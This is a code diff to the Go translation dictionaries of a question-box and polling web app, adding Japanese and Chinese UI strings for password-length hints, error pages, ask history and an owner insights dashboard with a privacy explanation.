"ask.goLogin": "ログインへ",
"ask.needPassword": "この質問箱にはパスワードが必要です",
"ask.needLogin": "質問箱の所有者は登録ユーザーのみ質問できるように設定しています。先にログインしてください。",
"ask.pleaseEmail": "通知を受け取るメールアドレスを入力してください",
"ask.generating": "共有カードを生成中…",
"ask.genFailed": "共有カードの生成に失敗しました。しばらくしてからお試しください",
"ask.networkError": "ネットワークエラー",
"ask.shareFilename": "share.png",
// 質問アイテム
"qitem.answer": "回答",
@@ -182,9 +191,9 @@ var jaDict = map[string]string{
"admin.tagInputHint": "入力して Enter またはカンマで追加",
"admin.tagInputDuplicate": "既に存在するため無視しました",
"admin.pagePassword": "ページアクセスパスワード",
"admin.pagePasswordHint": "アクセスパスワードを設定(空欄で無効)",
"admin.pagePasswordHint": "アクセスパスワードを設定(6〜30文字、空欄で無効)",
"admin.askPassword": "質問パスワード",
"admin.askPasswordHint": "質問用パスワードを設定(空欄で無効)",
"admin.askPasswordHint": "質問用パスワードを設定(6〜30文字、空欄で無効)",
"admin.saveProfile": "変更を保存",
"admin.updated": "プロフィールを更新しました",
"admin.logout": "ログアウト",
@@ -298,6 +307,9 @@ var jaDict = map[string]string{
"qlist.unpinShort": "解除",
"qlist.myVotes": "作成した投票",
"qlist.loadMore": "もっと読み込む",
"qlist.noMore": "これ以上の投稿はありません",
"qlist.loading": "読み込み中...",
"qlist.viewAnswer": "回答を見る",
"qlist.newVote": "投票を作成",
"qlist.edit": "編集",
"qlist.untitledVote": "無題の投票",
@@ -618,6 +630,7 @@ var jaDict = map[string]string{
"vote.page.submit": "投票する",
"vote.page.alreadyVoted": "この投票にはすでに参加済みです。ありがとうございます!",
"vote.page.resultsTitle": "投票結果",
"vote.page.anonymousNotice": "匿名投票(お一人一票)のため、結果は参考値です。",
"vote.page.totalVotes": "総参加",
"vote.page.avgRating": "平均点",
"vote.page.avgRank": "平均順位",
@@ -627,6 +640,7 @@ var jaDict = map[string]string{
"vote.page.rankHint": "各選択肢に 1-N の順位を入力してください(小さいほど上位、重複不可)",
"vote.page.rankPlaceholder": "順位",
"vote.page.multipleHint": "複数選択可",
"vote.page.multipleHintWithMax": "複数選択可(最大 %d 件)",
"vote.page.customOption": "カスタム選択肢(任意)",
"vote.page.customPlaceholder": "あなたの選択肢を入力",
"vote.page.customOther": "その他",
@@ -756,6 +770,7 @@ var jaDict = map[string]string{
// 質問箱ページ:訪問者に表示(P0)
"question.errWrongPassword": "パスワードが正しくありません",
"question.errPasswordLocked": "パスワードの誤入力が多すぎます。%d 分後にもう一度お試しください。",
"question.errAskPasswordWrong": "質問用パスワードが正しくありません",
"question.errLoginRequired": "質問箱の所有者は登録ユーザーのみ質問できるように設定しています。先にログインしてください。",
"question.errSelfChat": "自分自身とのチャットは開始できません",
@@ -837,6 +852,8 @@ var jaDict = map[string]string{
"vote.err.fieldSerialize": "項目の選択肢のシリアライズに失敗しました",
"vote.err.editClosed": "終了またはアーカイブされた投票は編集できません",
"vote.err.publishDraftOnly": "草稿状態の投票のみ公開できます",
"vote.err.restrictedPublish": "現在はプラットフォームによる措置期間中のため、投票の公開を停止しています",
"feature.stateUnavailable": "機能の状態を確認できませんでした。しばらくしてから再度お試しください",
"vote.err.closePublishedOnly": "進行中の投票のみ終了できます",
"vote.err.publishTitleRequired": "公開前に投票のタイトルを入力してください",
"vote.err.publishFormFieldsRequired": "フォーム型投票には最低 1 つの項目が必要です",
@@ -902,6 +919,12 @@ var jaDict = map[string]string{
"chat.flash.operated": "操作が完了しました",
"image.errTooLarge": "画像が大きすぎます。最大%d×%dピクセルまで対応しています。圧縮して再アップロードしてください",
"internal.errFlash": "サーバー内部エラーが発生しました。後でもう一度お試しください。",
"internal.errBadRequest": "リクエストの内容が正しくありません",
"error.notFoundTitle": "ページが見つかりません",
"error.notFoundDesc": "このアドレスにコンテンツはありません。リンクが間違っているか、削除された可能性があります。",
"error.internalTitle": "問題が発生しました",
"error.internalDesc": "このリクエストを完了できませんでした。多くは一時的なものです。しばらくしてから再度お試しください。",
"error.traceHint": "ご報告の際はこの番号を添えてください:",
"internal.errServer": "サーバー内部エラー",
"home.errStats": "統計情報の取得に失敗しました",
"pixel.errPath": "不正なリクエストパス",
@@ -925,6 +948,7 @@ var jaDict = map[string]string{
"form.profile.name": "ニックネームは必須で、20文字以内である必要があります",
"form.profile.newPassword": "新しいパスワードは30文字以内である必要があります",
"form.profile.passwordMax": "パスワードは30文字以内である必要があります",
"form.profile.passwordLen": "パスワードは6〜30文字で設定してください",
"form.question.content": "質問内容を入力してください",
"form.question.contentTooLong": "質問内容は%d文字以内にしてください",
"form.question.receiveReplyEmail": "返信を受け取るための有効なメールアドレスを入力してください",
@@ -1029,6 +1053,50 @@ var jaDict = map[string]string{
"stats.weekday.6": "土曜日",
"stats.weekday.7": "日曜日",
// 質問箱オーナーのインサイト(/user/insights)
"insights.title": "インサイト",
"insights.heading": "あなたのインサイト",
"insights.lead": "この数字はあなただけのものです。何人が質問箱を開いたか、いくつ質問が届いたか、まだ手つかずの質問がいくつあるか。すべて集計値で、訪問者や質問者の身元は一切含みません。",
"insights.back": "設定に戻る",
"insights.entryTitle": "インサイト",
"insights.entryDesc": "質問箱に何人来たか、質問の対応状況を見る",
"insights.summary": "ひと目で",
"insights.noViews": "まだ訪問の記録がありません。誰かが質問箱を開くと数字が出はじめます。",
"insights.today": "今日",
"insights.week": "過去 7 日間",
"insights.month": "過去 30 日間",
"insights.newQuestions": "新着の質問",
"insights.pv": "回表示",
"insights.uv": "人",
"insights.trendTitle": "過去 30 日間の閲覧推移",
"insights.trendNote": "1 本が 1 日分。淡い部分が閲覧数、濃い部分がその日の重複を除いた訪問者数です。棒にカーソルを合わせると当日の閲覧/訪問者/質問数が出ます。",
"insights.legendPV": "閲覧数(PV)",
"insights.legendUV": "ユニーク訪問者(日ごとに重複排除)",
"insights.legendHover": "カーソルで当日の内訳",
"insights.hourTitle": "いつ来ているか",
"insights.hourNote": "過去 30 日に届いた質問の時間帯分布。最も明るい棒が一番忙しい時間帯です。",
"insights.funnelTitle": "質問の対応状況",
"insights.funnelNote": "すべての質問を「回答済み/既読・未回答/未読」に分けたものです。",
"insights.funnelTotal": "すべての質問",
"insights.funnelAnswered": "回答済み",
"insights.funnelReadOnly": "既読・未回答",
"insights.funnelUnread": "未読",
"insights.answerRate": "回答率:回答済み ÷ 全質問",
"insights.privacyTitle": "この数字について",
"insights.privacyNote": "訪問統計は「ある日に何回来たか」だけを記録します。訪問者の識別子は日ごとに塩を変えた IP ハッシュで、IP・UA・閲覧ページは保存しません。そのため日をまたいで同一人物を紐付けることはできず、7 日/30 日の訪問者数は各日の重複排除後の合計です(同じ人が数日来るとその人数分カウントされます)。質問箱の持ち主自身のアクセスは含みません。",
"insights.insight.empty": "まだデータがありません。最初の質問が届くか、誰かが質問箱を開くと表示されはじめます。",
"insights.insight.weekViews": "過去 7 日間に %s 回の閲覧、%s 人の訪問者。",
"insights.insight.conversion": "過去 30 日間、訪問者の約 %s%% が質問を残しました。",
"insights.insight.bestDay": "一番にぎわったのは %s で、%s 回閲覧されました。",
"insights.insight.peakHour": "質問は %d 時前後に集中しています。",
"insights.insight.answerRate": "すべての質問のうち %s%% に回答済みです。",
"insights.insight.fastReply": "回答の %s%% は 24 時間以内に返しています。",
"insights.insight.unread": "未対応の質問が %s 件あります。",
"insights.insight.trendUp": "今週の閲覧は先週より %s%% 増えました。",
"insights.insight.trendDown": "今週の閲覧は先週より %s%% 減りました。",
"insights.insight.trendFlat": "今週の閲覧は先週とほぼ同じです。",
"stats.foot.updated": "集計時刻:",
"stats.foot.prevMonth": "最後の質問:",
"stats.foot.prevAnswer": "最後の回答:",
+120 -52
View File
@@ -16,21 +16,22 @@ var zhCNDict = map[string]string{
"nav.lang": "语言",
// 通用
"common.login": "登录",
"common.forgot": "忘记密码",
"common.submit": "提交",
"common.cancel": "取消",
"common.save": "保存",
"common.close": "关闭",
"common.delete": "删除",
"common.moveUp": "上移",
"common.moveDown": "下移",
"common.share": "分享",
"common.verifying": "验证中...",
"common.submitting": "提交中...",
"common.uploading": "上传中...",
"common.lang": "语言",
"common.menu": "菜单",
"common.login": "登录",
"common.forgot": "忘记密码",
"common.submit": "提交",
"common.cancel": "取消",
"common.save": "保存",
"common.tooManyRequests": "请求过于频繁,请稍后再试。",
"common.close": "关闭",
"common.delete": "删除",
"common.moveUp": "上移",
"common.moveDown": "下移",
"common.share": "分享",
"common.verifying": "验证中...",
"common.submitting": "提交中...",
"common.uploading": "上传中...",
"common.lang": "语言",
"common.menu": "菜单",
"common.pleaseWait": "请稍候...",
"common.backHome": "返回首页",
@@ -87,41 +88,49 @@ var zhCNDict = map[string]string{
"explore.noVotes": "暂时没有可参与的公开投票。",
// 提问页
"ask.scan": "扫码向@%s提问",
"ask.anonymous": "谁都可以以匿名的形式提问",
"ask.registerOnly": "仅允许注册用户向TA提问",
"ask.nextOpenAt": "下次开放时间:%s",
"ask.lastCloseAt": "上次关闭时间:%s",
"weekday.0": "周日",
"weekday.1": "周一",
"weekday.2": "周二",
"weekday.3": "周三",
"weekday.4": "周四",
"weekday.5": "周五",
"weekday.6": "周六",
"ask.pinned": "已置顶",
"ask.share": "分享提问箱",
"ask.placeholder": "在此处撰写你的问题...",
"ask.chatPlaceholder": "在此处撰写你的私聊消息...",
"ask.addImage": "添加图片",
"ask.private": "回复后不公开",
"ask.notify": "接收通知",
"ask.emailPlaceholder": "请输入你的邮箱地址",
"ask.submit": "发送提问",
"ask.chat": "发起私聊",
"ask.chatDisabled": "该提问箱未开启私聊",
"ask.chatLimit": "消息上限:%d条",
"ask.history": "@%s 以前回答过的问题",
"ask.loginRequired": "需要登录",
"ask.loginRequiredChat": "发起私聊需要登录账号",
"ask.goLogin": "去登录",
"ask.needPassword": "此提问箱需要密码",
"ask.needLogin": "提问箱的主人设置了仅注册用户才能提问,你需要先登录才能向他提问。",
"ask.pleaseEmail": "请填写接收通知的邮箱地址",
"ask.generating": "正在生成分享图…",
"ask.genFailed": "生成分享图失败,请稍后重试",
"ask.networkError": "网络错误",
"ask.shareFilename": "share.png",
"ask.scan": "扫码向@%s提问",
"ask.anonymous": "谁都可以以匿名的形式提问",
"ask.registerOnly": "仅允许注册用户向TA提问",
"ask.nextOpenAt": "下次开放时间:%s",
"ask.lastCloseAt": "上次关闭时间:%s",
"weekday.0": "周日",
"weekday.1": "周一",
"weekday.2": "周二",
"weekday.3": "周三",
"weekday.4": "周四",
"weekday.5": "周五",
"weekday.6": "周六",
"ask.pinned": "已置顶",
"ask.share": "分享提问箱",
"ask.placeholder": "在此处撰写你的问题...",
"ask.chatPlaceholder": "在此处撰写你的私聊消息...",
"ask.addImage": "添加图片",
"ask.private": "回复后不公开",
"ask.notify": "接收通知",
"ask.emailPlaceholder": "请输入你的邮箱地址",
"ask.submit": "发送提问",
"ask.chat": "发起私聊",
"ask.chatDisabled": "该提问箱未开启私聊",
"ask.chatLimit": "消息上限:%d条",
"ask.history": "@%s 以前回答过的问题",
"askHistory.banner": "这台设备上有 {n} 条提问记录",
"askHistory.answeredSuffix": ",其中 {m} 条已有回答",
"askHistory.expand": "查看",
"askHistory.collapse": "收起",
"askHistory.answered": "已有回答",
"askHistory.pending": "等待回答",
"askHistory.open": "打开",
"askHistory.note": "记录只保存在这台设备的浏览器里,换设备或清除浏览器数据后会丢失。",
"ask.loginRequired": "需要登录",
"ask.loginRequiredChat": "发起私聊需要登录账号",
"ask.goLogin": "去登录",
"ask.needPassword": "此提问箱需要密码",
"ask.needLogin": "提问箱的主人设置了仅注册用户才能提问,你需要先登录才能向他提问。",
"ask.pleaseEmail": "请填写接收通知的邮箱地址",
"ask.generating": "正在生成分享图…",
"ask.genFailed": "生成分享图失败,请稍后重试",
"ask.networkError": "网络错误",
"ask.shareFilename": "share.png",
// 问题条目
"qitem.answer": "回答",
@@ -182,9 +191,9 @@ var zhCNDict = map[string]string{
"admin.tagInputHint": "输入后按回车或逗号添加",
"admin.tagInputDuplicate": "已存在,已忽略",
"admin.pagePassword": "页面访问密码",
"admin.pagePasswordHint": "设置访问密码(留空则关闭)",
"admin.pagePasswordHint": "设置访问密码(6–30 位,留空则关闭)",
"admin.askPassword": "提问密码",
"admin.askPasswordHint": "设置提问密码(留空则关闭)",
"admin.askPasswordHint": "设置提问密码(6–30 位,留空则关闭)",
"admin.saveProfile": "保存修改",
"admin.updated": "更新个人信息成功",
"admin.logout": "退出登录",
@@ -298,6 +307,9 @@ var zhCNDict = map[string]string{
"qlist.unpinShort": "取消置顶",
"qlist.myVotes": "我创建的投票",
"qlist.loadMore": "加载更多",
"qlist.noMore": "无更多留言",
"qlist.loading": "加载中...",
"qlist.viewAnswer": "查看回答",
"qlist.newVote": "新建投票",
"qlist.edit": "编辑",
"qlist.untitledVote": "未命名投票",
@@ -619,6 +631,7 @@ var zhCNDict = map[string]string{
"vote.page.submit": "提交投票",
"vote.page.alreadyVoted": "你已参与过该投票,感谢参与!",
"vote.page.resultsTitle": "投票结果",
"vote.page.anonymousNotice": "匿名投票,每人一票,结果仅供参考。",
"vote.page.totalVotes": "总参与",
"vote.page.avgRating": "平均分",
"vote.page.avgRank": "平均排名",
@@ -628,6 +641,7 @@ var zhCNDict = map[string]string{
"vote.page.rankHint": "请为每个选项填写 1-N 的排名(数字越小越靠前,不可重复)",
"vote.page.rankPlaceholder": "排名",
"vote.page.multipleHint": "可多选",
"vote.page.multipleHintWithMax": "可多选(最多 %d 项)",
"vote.page.customOption": "补充选项(可选)",
"vote.page.customPlaceholder": "填写你心中的其他选项",
"vote.page.customOther": "其他",
@@ -757,6 +771,7 @@ var zhCNDict = map[string]string{
// 提问箱页:访客可见(P0)
"question.errWrongPassword": "密码错误",
"question.errPasswordLocked": "密码错误次数过多,请 %d 分钟后再试",
"question.errAskPasswordWrong": "提问密码错误",
"question.errLoginRequired": "提问箱的主人设置了仅注册用户才能提问,请先登录。",
"question.errSelfChat": "不能给自己发起私聊",
@@ -838,6 +853,8 @@ var zhCNDict = map[string]string{
"vote.err.fieldSerialize": "字段选项序列化失败",
"vote.err.editClosed": "已结束或归档的投票不允许编辑",
"vote.err.publishDraftOnly": "只有草稿状态的投票可以发布",
"vote.err.restrictedPublish": "当前处于平台处置期,已暂停发布投票",
"feature.stateUnavailable": "暂时无法确认该功能的状态,请稍后重试",
"vote.err.closePublishedOnly": "只有进行中的投票可以结束",
"vote.err.publishTitleRequired": "请先填写投票标题再发布",
"vote.err.publishFormFieldsRequired": "表单类型投票至少需要 1 个字段",
@@ -915,6 +932,12 @@ var zhCNDict = map[string]string{
"chat.flash.operated": "操作成功",
"image.errTooLarge": "图片尺寸过大,最大支持 %d×%d 像素,请压缩后重新上传",
"internal.errFlash": "服务内部错误,请稍后重试。",
"internal.errBadRequest": "请求参数不正确",
"error.notFoundTitle": "页面不存在",
"error.notFoundDesc": "这个地址没有内容,可能是链接输错了,或者内容已经被删除。",
"error.internalTitle": "服务出了点问题",
"error.internalDesc": "这次请求没能完成,通常是临时的。稍后重试一般就好了。",
"error.traceHint": "反馈时请带上这个编号:",
"internal.errServer": "服务器内部错误",
"home.errStats": "获取统计信息失败",
"pixel.errPath": "非法的请求路径",
@@ -938,6 +961,7 @@ var zhCNDict = map[string]string{
"form.profile.name": "昵称不能为空,且不超过 20 个字符",
"form.profile.newPassword": "新密码长度不能超过 30 个字符",
"form.profile.passwordMax": "密码长度不能超过 30 个字符",
"form.profile.passwordLen": "请设置 6 至 30 位的密码",
"form.question.content": "问题内容不能为空",
"form.question.contentTooLong": "问题内容不能超过 %d 个字符",
"form.question.receiveReplyEmail": "请填写有效的电子邮箱地址以接收回复",
@@ -1030,6 +1054,50 @@ var zhCNDict = map[string]string{
"stats.weekday.6": "周六",
"stats.weekday.7": "周日",
// 箱主数据面板(/user/insights)
"insights.title": "数据面板",
"insights.heading": "你的数据面板",
"insights.lead": "这些数字只属于你自己:有多少人打开过你的提问箱、你收到了多少提问、还有多少没处理。全部是聚合结果,不含任何一位访客或提问者的身份。",
"insights.back": "返回设置",
"insights.entryTitle": "数据面板",
"insights.entryDesc": "看看有多少人来过你的提问箱、提问处理得怎么样",
"insights.summary": "一眼看懂",
"insights.noViews": "还没有访客记录。有人打开过你的提问箱之后,这里就会开始有数字。",
"insights.today": "今天",
"insights.week": "近 7 天",
"insights.month": "近 30 天",
"insights.newQuestions": "新提问",
"insights.pv": "次浏览",
"insights.uv": "位访客",
"insights.trendTitle": "近 30 天浏览趋势",
"insights.trendNote": "每根柱子是一天,浅色是浏览量,深色是当天去重后的访客数。把鼠标停在柱子上能看到当天的浏览 / 访客 / 提问。",
"insights.legendPV": "浏览量(PV)",
"insights.legendUV": "独立访客(按日去重)",
"insights.legendHover": "悬停查看当天明细",
"insights.hourTitle": "大家什么时候来",
"insights.hourNote": "近 30 天收到的提问分布在一天里的哪个时段,最亮的一根是你最忙的时段。",
"insights.funnelTitle": "提问处理情况",
"insights.funnelNote": "全部提问按「已回答 / 已读未答 / 未读未答」三类拆开。",
"insights.funnelTotal": "全部提问",
"insights.funnelAnswered": "已回答",
"insights.funnelReadOnly": "已读未答",
"insights.funnelUnread": "未读未答",
"insights.answerRate": "回答率:已回答 ÷ 全部提问",
"insights.privacyTitle": "关于这些数字",
"insights.privacyNote": "访客统计只记录「某天有人来过几次」。访客身份是每天更换盐值的 IP 哈希,不保存 IP、不保存 UA、也不保存访问了哪个页面。因此跨天的同一个人无法被关联,近 7 天 / 30 天的访客数是各天去重后相加 —— 同一个人连续几天来访会被记成几个人。箱主自己打开自己的提问箱不计入统计。",
"insights.insight.empty": "还没有任何数据。等你收到第一条提问,或者有人打开过你的提问箱,这里就会有变化。",
"insights.insight.weekViews": "近 7 天有 %s 次浏览,%s 位访客。",
"insights.insight.conversion": "近 30 天的访客中,约有 %s%% 留下了提问。",
"insights.insight.bestDay": "最热闹的一天是 %s,有 %s 次浏览。",
"insights.insight.peakHour": "提问最集中在 %d 点前后。",
"insights.insight.answerRate": "你已经回答了 %s%% 的提问。",
"insights.insight.fastReply": "已回答的提问里,%s%% 是在 24 小时内回复的。",
"insights.insight.unread": "还有 %s 条提问没处理。",
"insights.insight.trendUp": "本周浏览比上周多了 %s%%。",
"insights.insight.trendDown": "本周浏览比上周少了 %s%%。",
"insights.insight.trendFlat": "本周浏览与上周差不多。",
"stats.foot.updated": "快照时间:",
"stats.foot.prevMonth": "最后一条提问:",
"stats.foot.prevAnswer": "最后一条回答:",
+120 -52
View File
@@ -16,21 +16,22 @@ var zhTWDict = map[string]string{
"nav.lang": "語言",
// 通用
"common.login": "登入",
"common.forgot": "忘記密碼",
"common.submit": "送出",
"common.cancel": "取消",
"common.save": "儲存",
"common.close": "關閉",
"common.delete": "刪除",
"common.moveUp": "上移",
"common.moveDown": "下移",
"common.share": "分享",
"common.verifying": "驗證中...",
"common.submitting": "提交中...",
"common.uploading": "上傳中...",
"common.lang": "語言",
"common.menu": "選單",
"common.login": "登入",
"common.forgot": "忘記密碼",
"common.submit": "送出",
"common.cancel": "取消",
"common.save": "儲存",
"common.tooManyRequests": "請求過於頻繁,請稍後再試。",
"common.close": "關閉",
"common.delete": "刪除",
"common.moveUp": "上移",
"common.moveDown": "下移",
"common.share": "分享",
"common.verifying": "驗證中...",
"common.submitting": "提交中...",
"common.uploading": "上傳中...",
"common.lang": "語言",
"common.menu": "選單",
"common.pleaseWait": "請稍候...",
"common.backHome": "返回首頁",
@@ -87,41 +88,49 @@ var zhTWDict = map[string]string{
"explore.noVotes": "暫時沒有可參與的公開投票。",
// 提問頁
"ask.scan": "掃碼向@%s提問",
"ask.anonymous": "誰都可以以匿名的方式提問",
"ask.registerOnly": "僅允許註冊使用者向TA提問",
"ask.nextOpenAt": "下次開放時間:%s",
"ask.lastCloseAt": "上次關閉時間:%s",
"weekday.0": "週日",
"weekday.1": "週一",
"weekday.2": "週二",
"weekday.3": "週三",
"weekday.4": "週四",
"weekday.5": "週五",
"weekday.6": "週六",
"ask.pinned": "已置頂",
"ask.share": "分享提問箱",
"ask.placeholder": "在此處撰寫你的問題...",
"ask.chatPlaceholder": "在此處撰寫你的私聊訊息...",
"ask.addImage": "新增圖片",
"ask.private": "回覆後不公開",
"ask.notify": "接收通知",
"ask.emailPlaceholder": "請輸入你的信箱地址",
"ask.submit": "傳送提問",
"ask.chat": "發起私聊",
"ask.chatDisabled": "該提問箱未開啟私聊",
"ask.chatLimit": "訊息上限:%d則",
"ask.history": "@%s 以前回答過的問題",
"ask.loginRequired": "需要登入",
"ask.loginRequiredChat": "發起私聊需要登入帳號",
"ask.goLogin": "去登入",
"ask.needPassword": "此提問箱需要密碼",
"ask.needLogin": "提問箱的主人設定了僅註冊使用者才能提問,你需要先登入才能向他提問。",
"ask.pleaseEmail": "請填寫接收通知的信箱地址",
"ask.generating": "正在產生分享圖…",
"ask.genFailed": "產生分享圖失敗,請稍後重試",
"ask.networkError": "網路錯誤",
"ask.shareFilename": "share.png",
"ask.scan": "掃碼向@%s提問",
"ask.anonymous": "誰都可以以匿名的方式提問",
"ask.registerOnly": "僅允許註冊使用者向TA提問",
"ask.nextOpenAt": "下次開放時間:%s",
"ask.lastCloseAt": "上次關閉時間:%s",
"weekday.0": "週日",
"weekday.1": "週一",
"weekday.2": "週二",
"weekday.3": "週三",
"weekday.4": "週四",
"weekday.5": "週五",
"weekday.6": "週六",
"ask.pinned": "已置頂",
"ask.share": "分享提問箱",
"ask.placeholder": "在此處撰寫你的問題...",
"ask.chatPlaceholder": "在此處撰寫你的私聊訊息...",
"ask.addImage": "新增圖片",
"ask.private": "回覆後不公開",
"ask.notify": "接收通知",
"ask.emailPlaceholder": "請輸入你的信箱地址",
"ask.submit": "傳送提問",
"ask.chat": "發起私聊",
"ask.chatDisabled": "該提問箱未開啟私聊",
"ask.chatLimit": "訊息上限:%d則",
"ask.history": "@%s 以前回答過的問題",
"askHistory.banner": "這台裝置上有 {n} 筆提問紀錄",
"askHistory.answeredSuffix": ",其中 {m} 筆已有回答",
"askHistory.expand": "查看",
"askHistory.collapse": "收合",
"askHistory.answered": "已有回答",
"askHistory.pending": "等待回答",
"askHistory.open": "開啟",
"askHistory.note": "紀錄只保存在這台裝置的瀏覽器裡,換裝置或清除瀏覽器資料後會遺失。",
"ask.loginRequired": "需要登入",
"ask.loginRequiredChat": "發起私聊需要登入帳號",
"ask.goLogin": "去登入",
"ask.needPassword": "此提問箱需要密碼",
"ask.needLogin": "提問箱的主人設定了僅註冊使用者才能提問,你需要先登入才能向他提問。",
"ask.pleaseEmail": "請填寫接收通知的信箱地址",
"ask.generating": "正在產生分享圖…",
"ask.genFailed": "產生分享圖失敗,請稍後重試",
"ask.networkError": "網路錯誤",
"ask.shareFilename": "share.png",
// 問題條目
"qitem.answer": "回答",
@@ -182,9 +191,9 @@ var zhTWDict = map[string]string{
"admin.tagInputHint": "輸入後按 Enter 或逗號新增",
"admin.tagInputDuplicate": "已存在,已忽略",
"admin.pagePassword": "頁面訪問密碼",
"admin.pagePasswordHint": "設定訪問密碼(留空則關閉)",
"admin.pagePasswordHint": "設定訪問密碼(6–30 位,留空則關閉)",
"admin.askPassword": "提問密碼",
"admin.askPasswordHint": "設定提問密碼(留空則關閉)",
"admin.askPasswordHint": "設定提問密碼(6–30 位,留空則關閉)",
"admin.saveProfile": "儲存修改",
"admin.updated": "更新個人資訊成功",
"admin.logout": "登出",
@@ -298,6 +307,9 @@ var zhTWDict = map[string]string{
"qlist.unpinShort": "取消置頂",
"qlist.myVotes": "我建立的投票",
"qlist.loadMore": "載入更多",
"qlist.noMore": "無更多留言",
"qlist.loading": "載入中...",
"qlist.viewAnswer": "查看回答",
"qlist.newVote": "新建投票",
"qlist.edit": "編輯",
"qlist.untitledVote": "未命名投票",
@@ -618,6 +630,7 @@ var zhTWDict = map[string]string{
"vote.page.submit": "提交投票",
"vote.page.alreadyVoted": "你已參與過該投票,感謝參與!",
"vote.page.resultsTitle": "投票結果",
"vote.page.anonymousNotice": "匿名投票,每人一票,結果僅供參考。",
"vote.page.totalVotes": "總參與",
"vote.page.avgRating": "平均分",
"vote.page.avgRank": "平均排名",
@@ -627,6 +640,7 @@ var zhTWDict = map[string]string{
"vote.page.rankHint": "請為每個選項填寫 1-N 的排名(數字越小越靠前,不可重複)",
"vote.page.rankPlaceholder": "排名",
"vote.page.multipleHint": "可多選",
"vote.page.multipleHintWithMax": "可多選(最多 %d 項)",
"vote.page.customOption": "補充選項(可選)",
"vote.page.customPlaceholder": "填寫你心中的其他選項",
"vote.page.customOther": "其他",
@@ -756,6 +770,7 @@ var zhTWDict = map[string]string{
// 提問箱頁:訪客可見(P0)
"question.errWrongPassword": "密碼錯誤",
"question.errPasswordLocked": "密碼錯誤次數過多,請 %d 分鐘後再試",
"question.errAskPasswordWrong": "提問密碼錯誤",
"question.errLoginRequired": "提問箱的主人設定了僅註冊使用者才能提問,請先登入。",
"question.errSelfChat": "不能給自己發起私聊",
@@ -837,6 +852,8 @@ var zhTWDict = map[string]string{
"vote.err.fieldSerialize": "欄位選項序列化失敗",
"vote.err.editClosed": "已結束或歸檔的投票不允許編輯",
"vote.err.publishDraftOnly": "只有草稿狀態的投票可以發布",
"vote.err.restrictedPublish": "當前處於平台處置期,已暫停發布投票",
"feature.stateUnavailable": "暫時無法確認該功能的狀態,請稍後重試",
"vote.err.closePublishedOnly": "只有進行中的投票可以結束",
"vote.err.publishTitleRequired": "請先填寫投票標題再發布",
"vote.err.publishFormFieldsRequired": "表單類型投票至少需要 1 個欄位",
@@ -902,6 +919,12 @@ var zhTWDict = map[string]string{
"chat.flash.operated": "操作成功",
"image.errTooLarge": "圖片尺寸過大,最大支援 %d×%d 像素,請壓縮後重新上傳",
"internal.errFlash": "服務內部錯誤,請稍後重試。",
"internal.errBadRequest": "請求參數不正確",
"error.notFoundTitle": "頁面不存在",
"error.notFoundDesc": "這個位址沒有內容,可能是連結輸入錯誤,或者內容已經被刪除。",
"error.internalTitle": "服務出了點問題",
"error.internalDesc": "這次請求沒能完成,通常是暫時的。稍後重試一般就好了。",
"error.traceHint": "回報時請帶上這個編號:",
"internal.errServer": "伺服器內部錯誤",
"home.errStats": "獲取統計資訊失敗",
"pixel.errPath": "非法的請求路徑",
@@ -925,6 +948,7 @@ var zhTWDict = map[string]string{
"form.profile.name": "暱稱不能為空,且不超過 20 個字元",
"form.profile.newPassword": "新密碼長度不能超過 30 個字元",
"form.profile.passwordMax": "密碼長度不能超過 30 個字元",
"form.profile.passwordLen": "請設定 6 至 30 位的密碼",
"form.question.content": "問題內容不能為空",
"form.question.contentTooLong": "問題內容不能超過 %d 個字元",
"form.question.receiveReplyEmail": "請填寫有效的電子郵件地址以接收回覆",
@@ -1029,6 +1053,50 @@ var zhTWDict = map[string]string{
"stats.weekday.6": "週六",
"stats.weekday.7": "週日",
// 箱主數據面板(/user/insights)
"insights.title": "數據面板",
"insights.heading": "你的數據面板",
"insights.lead": "這些數字只屬於你自己:有多少人開啟過你的提問箱、你收到了多少提問、還有多少沒處理。全部是彙總結果,不含任何一位訪客或提問者的身分。",
"insights.back": "返回設定",
"insights.entryTitle": "數據面板",
"insights.entryDesc": "看看有多少人來過你的提問箱、提問處理得怎麼樣",
"insights.summary": "一眼看懂",
"insights.noViews": "還沒有訪客紀錄。有人開啟過你的提問箱之後,這裡就會開始有數字。",
"insights.today": "今天",
"insights.week": "近 7 天",
"insights.month": "近 30 天",
"insights.newQuestions": "新提問",
"insights.pv": "次瀏覽",
"insights.uv": "位訪客",
"insights.trendTitle": "近 30 天瀏覽趨勢",
"insights.trendNote": "每根柱子是一天,淺色是瀏覽量,深色是當天去重後的訪客數。把游標停在柱子上能看到當天的瀏覽/訪客/提問。",
"insights.legendPV": "瀏覽量(PV)",
"insights.legendUV": "獨立訪客(按日去重)",
"insights.legendHover": "停留查看當天明細",
"insights.hourTitle": "大家什麼時候來",
"insights.hourNote": "近 30 天收到的提問分布在一天裡的哪個時段,最亮的一根是你最忙的時段。",
"insights.funnelTitle": "提問處理情況",
"insights.funnelNote": "全部提問按「已回答/已讀未答/未讀未答」三類拆開。",
"insights.funnelTotal": "全部提問",
"insights.funnelAnswered": "已回答",
"insights.funnelReadOnly": "已讀未答",
"insights.funnelUnread": "未讀未答",
"insights.answerRate": "回答率:已回答 ÷ 全部提問",
"insights.privacyTitle": "關於這些數字",
"insights.privacyNote": "訪客統計只記錄「某天有人來過幾次」。訪客身分是每天更換鹽值的 IP 雜湊,不保存 IP、不保存 UA、也不保存造訪了哪個頁面。因此跨天的同一個人無法被關聯,近 7 天/30 天的訪客數是各天去重後相加 —— 同一個人連續幾天造訪會被記成幾個人。箱主自己開啟自己的提問箱不計入統計。",
"insights.insight.empty": "還沒有任何資料。等你收到第一條提問,或有人開啟過你的提問箱,這裡就會有變化。",
"insights.insight.weekViews": "近 7 天有 %s 次瀏覽,%s 位訪客。",
"insights.insight.conversion": "近 30 天的訪客中,約有 %s%% 留下了提問。",
"insights.insight.bestDay": "最熱鬧的一天是 %s,有 %s 次瀏覽。",
"insights.insight.peakHour": "提問最集中在 %d 點前後。",
"insights.insight.answerRate": "你已經回答了 %s%% 的提問。",
"insights.insight.fastReply": "已回答的提問裡,%s%% 是在 24 小時內回覆的。",
"insights.insight.unread": "還有 %s 條提問沒處理。",
"insights.insight.trendUp": "本週瀏覽比上週多了 %s%%。",
"insights.insight.trendDown": "本週瀏覽比上週少了 %s%%。",
"insights.insight.trendFlat": "本週瀏覽與上週差不多。",
"stats.foot.updated": "快照時間:",
"stats.foot.prevMonth": "最後一則提問:",
"stats.foot.prevAnswer": "最後一則回答:",
+438
View File
@@ -0,0 +1,438 @@
// Copyright 2026 tamakyi. All rights reserved.
